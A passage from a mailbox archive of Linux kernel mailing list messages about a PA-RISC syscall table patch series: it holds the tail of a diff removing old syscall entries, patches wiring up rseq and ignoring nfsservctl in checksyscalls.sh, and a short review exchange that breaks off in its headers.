-	ENTRY_COMP(rt_sigprocmask)	/* 175 */
-	ENTRY_COMP(rt_sigpending)
-	ENTRY_COMP(rt_sigtimedwait)
-	/* even though the struct siginfo_t is different, it appears like
-	 * all the paths use values which should be same wide and narrow.
-	 * Also the struct is padded to 128 bytes which means we don't have
-	 * to worry about faulting trying to copy in a larger 64-bit
-	 * struct from a 32-bit user-space app.
-	 */
-	ENTRY_COMP(rt_sigqueueinfo)
-	ENTRY_COMP(rt_sigsuspend)
-	ENTRY_SAME(chown)		/* 180 */
-	/* setsockopt() used by iptables: SO_SET_REPLACE/SO_SET_ADD_COUNTERS */
-	ENTRY_COMP(setsockopt)
-	ENTRY_COMP(getsockopt)
-	ENTRY_COMP(sendmsg)
-	ENTRY_COMP(recvmsg)
-	ENTRY_SAME(semop)		/* 185 */
-	ENTRY_SAME(semget)
-	ENTRY_COMP(semctl)
-	ENTRY_COMP(msgsnd)
-	ENTRY_COMP(msgrcv)
-	ENTRY_SAME(msgget)		/* 190 */
-	ENTRY_COMP(msgctl)
-	ENTRY_COMP(shmat)
-	ENTRY_SAME(shmdt)
-	ENTRY_SAME(shmget)
-	ENTRY_COMP(shmctl)		/* 195 */
-	ENTRY_SAME(ni_syscall)		/* streams1 */
-	ENTRY_SAME(ni_syscall)		/* streams2 */
-	ENTRY_SAME(lstat64)
-	ENTRY_OURS(truncate64)
-	ENTRY_OURS(ftruncate64)		/* 200 */
-	ENTRY_SAME(getdents64)
-	ENTRY_COMP(fcntl64)
-	ENTRY_SAME(ni_syscall)	/* attrctl -- dead */
-	ENTRY_SAME(ni_syscall)	/* acl_get -- dead */
-	ENTRY_SAME(ni_syscall)		/* 205 (acl_set -- dead) */
-	ENTRY_SAME(gettid)
-	ENTRY_OURS(readahead)
-	ENTRY_SAME(tkill)
-	ENTRY_COMP(sendfile64)
-	ENTRY_COMP(futex)		/* 210 */
-	ENTRY_COMP(sched_setaffinity)
-	ENTRY_COMP(sched_getaffinity)
-	ENTRY_SAME(ni_syscall)	/* set_thread_area */
-	ENTRY_SAME(ni_syscall)	/* get_thread_area */
-	ENTRY_COMP(io_setup)		/* 215 */
-	ENTRY_SAME(io_destroy)
-	ENTRY_COMP(io_getevents)
-	ENTRY_COMP(io_submit)
-	ENTRY_SAME(io_cancel)
-	ENTRY_SAME(ni_syscall)		/* 220: was alloc_hugepages */
-	ENTRY_SAME(ni_syscall)		/* was free_hugepages */
-	ENTRY_SAME(exit_group)
-	ENTRY_COMP(lookup_dcookie)
-	ENTRY_SAME(epoll_create)
-	ENTRY_SAME(epoll_ctl)		/* 225 */
-	ENTRY_SAME(epoll_wait)
- 	ENTRY_SAME(remap_file_pages)
-	ENTRY_COMP(semtimedop)
-	ENTRY_COMP(mq_open)
-	ENTRY_SAME(mq_unlink)		/* 230 */
-	ENTRY_COMP(mq_timedsend)
-	ENTRY_COMP(mq_timedreceive)
-	ENTRY_COMP(mq_notify)
-	ENTRY_COMP(mq_getsetattr)
-	ENTRY_COMP(waitid)		/* 235 */
-	ENTRY_OURS(fadvise64_64)
-	ENTRY_SAME(set_tid_address)
-	ENTRY_SAME(setxattr)
-	ENTRY_SAME(lsetxattr)
-	ENTRY_SAME(fsetxattr)		/* 240 */
-	ENTRY_SAME(getxattr)
-	ENTRY_SAME(lgetxattr)
-	ENTRY_SAME(fgetxattr)
-	ENTRY_SAME(listxattr)
-	ENTRY_SAME(llistxattr)		/* 245 */
-	ENTRY_SAME(flistxattr)
-	ENTRY_SAME(removexattr)
-	ENTRY_SAME(lremovexattr)
-	ENTRY_SAME(fremovexattr)
-	ENTRY_COMP(timer_create)	/* 250 */
-	ENTRY_COMP(timer_settime)
-	ENTRY_COMP(timer_gettime)
-	ENTRY_SAME(timer_getoverrun)
-	ENTRY_SAME(timer_delete)
-	ENTRY_COMP(clock_settime)	/* 255 */
-	ENTRY_COMP(clock_gettime)
-	ENTRY_COMP(clock_getres)
-	ENTRY_COMP(clock_nanosleep)
-	ENTRY_SAME(tgkill)
-	ENTRY_COMP(mbind)		/* 260 */
-	ENTRY_COMP(get_mempolicy)
-	ENTRY_COMP(set_mempolicy)
-	ENTRY_SAME(ni_syscall)	/* 263: reserved for vserver */
-	ENTRY_SAME(add_key)
-	ENTRY_SAME(request_key)		/* 265 */
-	ENTRY_COMP(keyctl)
-	ENTRY_SAME(ioprio_set)
-	ENTRY_SAME(ioprio_get)
-	ENTRY_SAME(inotify_init)
-	ENTRY_SAME(inotify_add_watch)	/* 270 */
-	ENTRY_SAME(inotify_rm_watch)
-	ENTRY_SAME(migrate_pages)
-	ENTRY_COMP(pselect6)
-	ENTRY_COMP(ppoll)
-	ENTRY_COMP(openat)		/* 275 */
-	ENTRY_SAME(mkdirat)
-	ENTRY_SAME(mknodat)
-	ENTRY_SAME(fchownat)
-	ENTRY_COMP(futimesat)
-	ENTRY_SAME(fstatat64)		/* 280 */
-	ENTRY_SAME(unlinkat)
-	ENTRY_SAME(renameat)
-	ENTRY_SAME(linkat)
-	ENTRY_SAME(symlinkat)
-	ENTRY_SAME(readlinkat)		/* 285 */
-	ENTRY_SAME(fchmodat)
-	ENTRY_SAME(faccessat)
-	ENTRY_SAME(unshare)
-	ENTRY_COMP(set_robust_list)
-	ENTRY_COMP(get_robust_list)	/* 290 */
-	ENTRY_SAME(splice)
-	ENTRY_OURS(sync_file_range)
-	ENTRY_SAME(tee)
-	ENTRY_COMP(vmsplice)
-	ENTRY_COMP(move_pages)		/* 295 */
-	ENTRY_SAME(getcpu)
-	ENTRY_COMP(epoll_pwait)
-	ENTRY_COMP(statfs64)
-	ENTRY_COMP(fstatfs64)
-	ENTRY_COMP(kexec_load)		/* 300 */
-	ENTRY_COMP(utimensat)
-	ENTRY_COMP(signalfd)
-	ENTRY_SAME(ni_syscall)		/* was timerfd */
-	ENTRY_SAME(eventfd)
-	ENTRY_OURS(fallocate)		/* 305 */
-	ENTRY_SAME(timerfd_create)
-	ENTRY_COMP(timerfd_settime)
-	ENTRY_COMP(timerfd_gettime)
-	ENTRY_COMP(signalfd4)
-	ENTRY_SAME(eventfd2)		/* 310 */
-	ENTRY_SAME(epoll_create1)
-	ENTRY_SAME(dup3)
-	ENTRY_SAME(pipe2)
-	ENTRY_SAME(inotify_init1)
-	ENTRY_COMP(preadv)		/* 315 */
-	ENTRY_COMP(pwritev)
-	ENTRY_COMP(rt_tgsigqueueinfo)
-	ENTRY_SAME(perf_event_open)
-	ENTRY_COMP(recvmmsg)
-	ENTRY_SAME(accept4)		/* 320 */
-	ENTRY_SAME(prlimit64)
-	ENTRY_SAME(fanotify_init)
-	ENTRY_DIFF(fanotify_mark)
-	ENTRY_COMP(clock_adjtime)
-	ENTRY_SAME(name_to_handle_at)	/* 325 */
-	ENTRY_COMP(open_by_handle_at)
-	ENTRY_SAME(syncfs)
-	ENTRY_SAME(setns)
-	ENTRY_COMP(sendmmsg)
-	ENTRY_COMP(process_vm_readv)	/* 330 */
-	ENTRY_COMP(process_vm_writev)
-	ENTRY_SAME(kcmp)
-	ENTRY_SAME(finit_module)
-	ENTRY_SAME(sched_setattr)
-	ENTRY_SAME(sched_getattr)	/* 335 */
-	ENTRY_COMP(utimes)
-	ENTRY_SAME(renameat2)
-	ENTRY_SAME(seccomp)
-	ENTRY_SAME(getrandom)
-	ENTRY_SAME(memfd_create)	/* 340 */
-	ENTRY_SAME(bpf)
-	ENTRY_COMP(execveat)
-	ENTRY_SAME(membarrier)
-	ENTRY_SAME(userfaultfd)
-	ENTRY_SAME(mlock2)		/* 345 */
-	ENTRY_SAME(copy_file_range)
-	ENTRY_COMP(preadv2)
-	ENTRY_COMP(pwritev2)
-	ENTRY_SAME(statx)
-	ENTRY_COMP(io_pgetevents)	/* 350 */
-
-
-.ifne (. - 90b) - (__NR_Linux_syscalls * (91b - 90b))
-.error "size of syscall table does not fit value of __NR_Linux_syscalls"
-.endif
-
-#undef ENTRY_SAME
-#undef ENTRY_DIFF
-#undef ENTRY_UHOH
-#undef ENTRY_COMP
-#undef ENTRY_OURS
-- 
1.9.1



From - Thu Nov 08 21:42:11 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Firoz Khan <firoz.khan@linaro.org>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.year-2038,gmane.linux.kernel.cross-arch
Subject: [PATCH v4 5/6] parisc: wire up rseq system call
Date: Fri, 12 Oct 2018 15:14:01 +0530
Lines: 25
Approved: news@gmane.org
Message-ID: <1539337442-3676-6-git-send-email-firoz.khan@linaro.org>
References: <1539337442-3676-1-git-send-email-firoz.khan@linaro.org>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1539337384 16183 195.159.176.226 (12 Oct 2018 09:43:04 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 12 Oct 2018 09:43:04 +0000 (UTC)
Cc: y2038@lists.linaro.org, linux-kernel@vger.kernel.org,
        linux-arch@vger.kernel.org, arnd@arndb.de, deepa.kernel@gmail.com,
        marcin.juszkiewicz@linaro.org, firoz.khan@linaro.org
To: linux-parisc@vger.kernel.org,
        "James E . J . Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Thomas Gleixner <tglx@linutronix.de>,
        Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
        Philippe Ombredanne <pombredanne@nexb.com>,
        Kate Stewart <kstewart@linuxfoundation.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Oct 12 11:42:59 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1gAtyF-0003wa-1L
	for glk-linux-kernel-4@m.gmane.org; Fri, 12 Oct 2018 11:42:59 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1728469AbeJLRQn (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Fri, 12 Oct 2018 13:16:43 -0400
Original-Received: from mail-pf1-f194.google.com ([209.85.210.194]:34528 "EHLO
        mail-pf1-f194.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1728448AbeJLRQm (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Fri, 12 Oct 2018 13:16:42 -0400
Original-Received: by mail-pf1-f194.google.com with SMTP id f78-v6so157894pfe.1
        for <linux-kernel@vger.kernel.org>; Fri, 12 Oct 2018 02:45:07 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=linaro.org; s=google;
        h=from:to:cc:subject:date:message-id:in-reply-to:references;
        bh=xAyKOwFhfVXa41JpM3wlj86fUqX7JkMwQFyIDNIJdFg=;
        b=jJvuJ0bAhmAXwPBw7RAzIpinAzJxzdC1HqcHuqYFRGdgM6pfw1ADcl5aU4Vrb+duh+
         LO9Ae6BY0dP/VPS/w2gbaOILtlhhVAiG88kYZ8N4KFfwQPgs9L0fhFq7Qz6hZAfs/GU1
         CXimR/rFV0cxgePmVhXMRqZxx2s2uPffriiUM=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to
         :references;
        bh=xAyKOwFhfVXa41JpM3wlj86fUqX7JkMwQFyIDNIJdFg=;
        b=gR3roiuacdUBm6QeOYVS316MQm+nEd+0TtP8BzA2ETAclJtXW3QuFplJQIfGRtFPiz
         E7BI9ZXEBE//AGjYfWo1fuTFVqv0P5bFO2kGgUpzHROYIYGwfCE8XxQhD3OIYQYuJyH6
         Zi+FWC8Qn3KhUAOGluQRJoraEnAKai4HJ6Vb2yoCm5xZUvM1Fff0/25UbKYLOvzH6eTB
         4ibtWrptJ9ldJV9lFm7K/bxKBI8k5P57VXtPnucweRhtsQdHgJu8iN8AAnCdn97btUXN
         glKK+rkLBc5gB7oYthLDOx5anMoJwMp/4wO/sqlsTIDKwJGQDP+tRxJMJsjzsBSMKTZ6
         gRAQ==
X-Gm-Message-State: ABuFfoi8qD6mAPowVIbTQEIcXOE+V4/rf1SQrRA+UXLiVagUg/RWYkax
        UnJrqG1YuXIkxqEuT/BgDr8ssg==
X-Google-Smtp-Source: ACcGV61wUu9m904S/6vlWcjtb5h78EEGzObbRA9GBVwjTxNcf2cHZ1gYKlBGtKA0Yb/cIdTuO2RpxA==
X-Received: by 2002:a62:670a:: with SMTP id b10-v6mr5285319pfc.243.1539337507342;
        Fri, 12 Oct 2018 02:45:07 -0700 (PDT)
Original-Received: from qualcomm-HP-ZBook-14-G2.domain.name ([106.51.108.175])
        by smtp.gmail.com with ESMTPSA id j19-v6sm1254191pfi.137.2018.10.12.02.45.02
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-SHA bits=128/128);
        Fri, 12 Oct 2018 02:45:06 -0700 (PDT)
X-Mailer: git-send-email 2.7.4
In-Reply-To: <1539337442-3676-1-git-send-email-firoz.khan@linaro.org>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2897402 gmane.linux.ports.parisc:29133 gmane.linux.kernel.year-2038:3509 gmane.linux.kernel.cross-arch:47719
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2897402>

Wire up rseq system call requires an architecture specific
implementation as it not present now.

Signed-off-by: Firoz Khan <firoz.khan@linaro.org>
---
 arch/parisc/kernel/syscalls/syscall.tbl | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/arch/parisc/kernel/syscalls/syscall.tbl b/arch/parisc/kernel/syscalls/syscall.tbl
index 7c9f268..91317be 100644
--- a/arch/parisc/kernel/syscalls/syscall.tbl
+++ b/arch/parisc/kernel/syscalls/syscall.tbl
@@ -366,4 +366,6 @@
 347     common  preadv2                         sys_preadv2                     compat_sys_preadv2
 348     common  pwritev2                        sys_pwritev2                    compat_sys_pwritev2
 349     common  statx                           sys_statx
-350	common  io_pgetevents			sys_io_pgetevents		compat_sys_io_pgetevents
\ No newline at end of file
+350	common  io_pgetevents			sys_io_pgetevents		compat_sys_io_pgetevents
+# rseq requires an architecture specific implementation
+351	common	rseq				sys_rseq
-- 
1.9.1



From - Thu Nov 08 21:42:11 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Firoz Khan <firoz.khan@linaro.org>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.year-2038,gmane.linux.kernel.cross-arch
Subject: [PATCH v4 6/6] parisc: syscalls: Ignore nfsservctl for other architectures
Date: Fri, 12 Oct 2018 15:14:02 +0530
Lines: 30
Approved: news@gmane.org
Message-ID: <1539337442-3676-7-git-send-email-firoz.khan@linaro.org>
References: <1539337442-3676-1-git-send-email-firoz.khan@linaro.org>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1539337390 16690 195.159.176.226 (12 Oct 2018 09:43:10 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 12 Oct 2018 09:43:10 +0000 (UTC)
Cc: y2038@lists.linaro.org, linux-kernel@vger.kernel.org,
        linux-arch@vger.kernel.org, arnd@arndb.de, deepa.kernel@gmail.com,
        marcin.juszkiewicz@linaro.org, firoz.khan@linaro.org
To: linux-parisc@vger.kernel.org,
        "James E . J . Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Thomas Gleixner <tglx@linutronix.de>,
        Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
        Philippe Ombredanne <pombredanne@nexb.com>,
        Kate Stewart <kstewart@linuxfoundation.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Oct 12 11:43:05 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1gAtyJ-0004B5-I0
	for glk-linux-kernel-4@m.gmane.org; Fri, 12 Oct 2018 11:43:03 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1728472AbeJLRQr (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Fri, 12 Oct 2018 13:16:47 -0400
Original-Received: from mail-pf1-f193.google.com ([209.85.210.193]:45069 "EHLO
        mail-pf1-f193.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1728470AbeJLRQr (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Fri, 12 Oct 2018 13:16:47 -0400
Original-Received: by mail-pf1-f193.google.com with SMTP id u12-v6so5907276pfn.12
        for <linux-kernel@vger.kernel.org>; Fri, 12 Oct 2018 02:45:12 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=linaro.org; s=google;
        h=from:to:cc:subject:date:message-id:in-reply-to:references;
        bh=0PBH0SiDBTS5A/xCIVzOHbzcxzD+kYNUD3TokR7YxPA=;
        b=J59vzM2Qn9/WdOgb/6gkFAK/h0amsxCFQ285V7KFWZcelSCh4nrsKoR1skc07r7gsF
         e0vzav7jik47f/sU2fxxeUbq1/qqt5mnfdmiCG/2cj899BLA09IH/JSR17QVpHe+wLNo
         RM+Po9FNb4LoAnG457qrPUMRtYDrbD82cqgyI=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to
         :references;
        bh=0PBH0SiDBTS5A/xCIVzOHbzcxzD+kYNUD3TokR7YxPA=;
        b=lVcguBEP2rw8de7LO+bn+c0fn5pdoCPje7nvn4y5mm4k3IFkIAKEhAHASBvlNm7ZU4
         GaeWr6w4l24O7JNyDPmcEmQsyu3a+/51fNJnJ+tek5cBNhZEz6WEu5HXGrC64Oix5mFf
         xXaZgp6w1wUGK2WWf6ke/ZYK9XR3d2n/uJrPzvk4yjQTtbtTxE7EFPRgfNilMeP0ctTB
         ADomIfLwnzX7eUJq7WKyGpzqKwacc2R9b56xOUEbzQE6fCnqHpvRLfxfWR/ub/TBRk6N
         9ipZQCQwO59ML5Csi4nIS47u/JVpx1jM9pPe3IffVAu2+tFcUT1wMVcHa1VmP7Pyk11A
         SIVw==
X-Gm-Message-State: ABuFfoipm9j4dTKWoqr7osH7463lJuOiZ1+HcRfm5PAyg7UYM3RLZsI1
        GsRZg7OJr10NUnWgO3osJkhHCQ==
X-Google-Smtp-Source: ACcGV62ymPK6IHYuedcEiA7pSoU+sn/c6kyG54BoosJZSKdzkzgsibk1yfZJoXRCo6PZWePHAm9hcA==
X-Received: by 2002:a62:34c5:: with SMTP id b188-v6mr2171721pfa.65.1539337511810;
        Fri, 12 Oct 2018 02:45:11 -0700 (PDT)
Original-Received: from qualcomm-HP-ZBook-14-G2.domain.name ([106.51.108.175])
        by smtp.gmail.com with ESMTPSA id j19-v6sm1254191pfi.137.2018.10.12.02.45.07
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-SHA bits=128/128);
        Fri, 12 Oct 2018 02:45:11 -0700 (PDT)
X-Mailer: git-send-email 2.7.4
In-Reply-To: <1539337442-3676-1-git-send-email-firoz.khan@linaro.org>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2897403 gmane.linux.ports.parisc:29134 gmane.linux.kernel.year-2038:3510 gmane.linux.kernel.cross-arch:47720
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2897403>

This adds an exception to the syscall table checking script.

nfsservctl entry is only provided on x86, and there is no
reason to add it elsewhere. However, including it on the
syscall table caused a warning for most configurations on
non-x86.

<stdin>:696:2: warning: #warning syscall nfsservctl not implemented [-Wcpp]

Signed-off-by: Firoz Khan <firoz.khan@linaro.org>
---
 scripts/checksyscalls.sh | 1 +
 1 file changed, 1 insertion(+)

diff --git a/scripts/checksyscalls.sh b/scripts/checksyscalls.sh
index ee3dfb5..cf93100 100755
--- a/scripts/checksyscalls.sh
+++ b/scripts/checksyscalls.sh
@@ -150,6 +150,7 @@ cat << EOF
 #define __IGNORE_uselib
 #define __IGNORE__sysctl
 #define __IGNORE_arch_prctl
+#define __IGNORE_nfsservctl
 
 /* ... including the "new" 32-bit uid syscalls */
 #define __IGNORE_lchown32
-- 
1.9.1



From - Thu Nov 08 21:42:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Arnd Bergmann <arnd@arndb.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.year-2038,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH v4 5/6] parisc: wire up rseq system call
Date: Fri, 12 Oct 2018 11:56:06 +0200
Lines: 11
Approved: news@gmane.org
Message-ID: <CAK8P3a1gsuM7mBGm9hx-BTs=HAG3cSjB6M7N-kpMmPy3kixeCQ@mail.gmail.com>
References: <1539337442-3676-1-git-send-email-firoz.khan@linaro.org> <1539337442-3676-6-git-send-email-firoz.khan@linaro.org>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
X-Trace: blaine.gmane.org 1539338060 1163 195.159.176.226 (12 Oct 2018 09:54:20 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 12 Oct 2018 09:54:20 +0000 (UTC)
Cc: Parisc List <linux-parisc@vger.kernel.org>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Thomas Gleixner <tglx@linutronix.de>,
        gregkh <gregkh@linuxfoundation.org>,
        Philippe Ombredanne <pombredanne@nexb.com>,
        Kate Stewart <kstewart@linuxfoundation.org>,
        y2038 Mailman List <y2038@lists.linaro.org>,
        Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
        linux-arch <linux-arch@vger.kernel.org>,
        Deepa Dinamani <deepa.kernel@gmail.com>,
        Marcin Juszkiewicz <marcin.juszkiewicz@linaro.org>
To: Firoz Khan <firoz.khan@linaro.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Oct 12 11:54:15 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1gAu98-0008Nh-Sf
	for glk-linux-kernel-4@m.gmane.org; Fri, 12 Oct 2018 11:54:15 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1728327AbeJLR2B (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Fri, 12 Oct 2018 13:28:01 -0400
Original-Received: from mail-qt1-f193.google.com ([209.85.160.193]:42228 "EHLO
        mail-qt1-f193.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1727808AbeJLR2A (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Fri, 12 Oct 2018 13:28:00 -0400
Original-Received: by mail-qt1-f193.google.com with SMTP id j46-v6so13199316qtc.9;
        Fri, 12 Oct 2018 02:56:23 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:mime-version:references:in-reply-to:from:date
         :message-id:subject:to:cc;
        bh=YFrLitvFg/SUyZV6CcC+XcOsTS0Y5sOEqTVSA2lo1HA=;
        b=ET+otUW3w2z9yysMZomouSMbbihowI8ZWMSeTaKovl6kKLdq5E4l6YSlXyk00bnByp
         dRQez4x/q+rfgquwRU0lgFkuQeZ7Z3rg2rT/359YJ7bKXulLJpuWBvkrbNOAHql748Ly
         CYYrQeoF3aF2aTC9BJPgFWkHREYPqOk6s69Ai3eN/dtltKFxOKGs3mOLkyMGl5gnAa5g
         TfLFC7eYzT2AnkGmXUOQ5nk/l1cy604YZNUT8PgsqvT5LSsRzChp94slZhBMwm0G1EDi
         RFn13dc6blHN/3xshAVsRdgtlNLOl4Lr5gQKzJ1O71fdVTtaj2ZA/91D4XiFfAMHlEub
         IKRA==
X-Gm-Message-State: ABuFfoizjzrYIx6YX6qi6UH4exY3J14i0ZB3CXGzflIQWxSXw2hM3mgT
        +LQb26BDHxO0/anyQ6pQDo1dtZUQ64jH/PKBCJ0=
X-Google-Smtp-Source: ACcGV62app08hTC/bIEJGwnZpFkSSjR2RIWJAXp1wqRoGJrQvBbu18RzyRgpa1Gag1PGSbGovi/6icsA6TzfZ4S6UnA=
X-Received: by 2002:aed:2aa1:: with SMTP id t30-v6mr4868757qtd.319.1539338183342;
 Fri, 12 Oct 2018 02:56:23 -0700 (PDT)
In-Reply-To: <1539337442-3676-6-git-send-email-firoz.khan@linaro.org>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2897412 gmane.linux.ports.parisc:29135 gmane.linux.kernel.year-2038:3511 gmane.linux.kernel.cross-arch:47722
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2897412>

On Fri, Oct 12, 2018 at 11:45 AM Firoz Khan <firoz.khan@linaro.org> wrote:
>
> Wire up rseq system call requires an architecture specific
> implementation as it not present now.
>
> Signed-off-by: Firoz Khan <firoz.khan@linaro.org>

Didn't we conclude that this should be skipped?

       Arnd


From - Thu Nov 08 21:42:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Firoz Khan <firoz.khan@linaro.org>
Newsgroups: gmane.linux.kernel.year-2038,gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH v4 5/6] parisc: wire up rseq system call
Date: Fri, 12 Oct 2018 15:46:29 +0530
Lines: 18
Approved: news@gmane.org
Message-ID: <CALxhOnhj7qUj57tLX12KmbcE5G-zDK2Qf2fTUbQ=jpmiUcr52w@mail.gmail.com>
References: <1539337442-3676-1-git-send-email-firoz.khan@linaro.org>
 <1539337442-3676-6-git-send-email-firoz.khan@linaro.org>
 <CAK8P3a1gsuM7mBGm9hx-BTs=HAG3cSjB6M7N-kpMmPy3kixeCQ@mail.gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: base64
X-Trace: blaine.gmane.org 1539339286 27745 195.159.176.226 (12 Oct 2018 10:14:46 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 12 Oct 2018 10:14:46 +0000 (UTC)
Cc: Kate Stewart <kstewart@linuxfoundation.org>,
 Linux-Arch <linux-arch@vger.kernel.org>, linux-parisc@vger.kernel.org,
 y2038 Mailman List <y2038@lists.linaro.org>,
 Greg Kroah-Hartman <gregkh@linuxfoundation.org>, Helge Deller <deller@gmx.de>,
 "James E . J . Bottomley" <jejb@parisc-linux.org>,
 Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
 Marcin Juszkiewicz <marcin.juszkiewicz@linaro.org>,
 Deepa Dinamani <deepa.kernel@gmail.com>,
 Philippe Ombredanne <pombredanne@nexb.com>,
 Thomas Gleixner <tglx@linutronix.de>
To: Arnd Bergmann <arnd@arndb.de>
Original-X-From: y2038-bounces@lists.linaro.org Fri Oct 12 12:14:41 2018
Return-path: <y2038-bounces@lists.linaro.org>
Envelope-to: glky-y2038@m.gmane.org
Original-Received: from ec2-54-197-127-237.compute-1.amazonaws.com ([54.197.127.237] helo=lists.linaro.org)
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <y2038-bounces@lists.linaro.org>)
	id 1gAuSs-0006wJ-DG
	for glky-y2038@m.gmane.org; Fri, 12 Oct 2018 12:14:38 +0200
Original-Received: by lists.linaro.org (Postfix, from userid 109)
	id 7491562084; Fri, 12 Oct 2018 10:16:48 +0000 (UTC)
Original-Received: from [127.0.0.1] (localhost [127.0.0.1])
	by lists.linaro.org (Postfix) with ESMTP id 875CB60EBE;
	Fri, 12 Oct 2018 10:16:44 +0000 (UTC)
X-Original-To: y2038@lists.linaro.org
Delivered-To: y2038@lists.linaro.org
Original-Received: by lists.linaro.org (Postfix, from userid 109)
 id A2BB861775; Fri, 12 Oct 2018 10:16:42 +0000 (UTC)
Original-Received: from mail-yw1-f66.google.com (mail-yw1-f66.google.com
 [209.85.161.66])
 by lists.linaro.org (Postfix) with ESMTPS id D523960EBE
 for <y2038@lists.linaro.org>; Fri, 12 Oct 2018 10:16:41 +0000 (UTC)
Original-Received: by mail-yw1-f66.google.com with SMTP id y14-v6so4754143ywa.4
 for <y2038@lists.linaro.org>; Fri, 12 Oct 2018 03:16:41 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
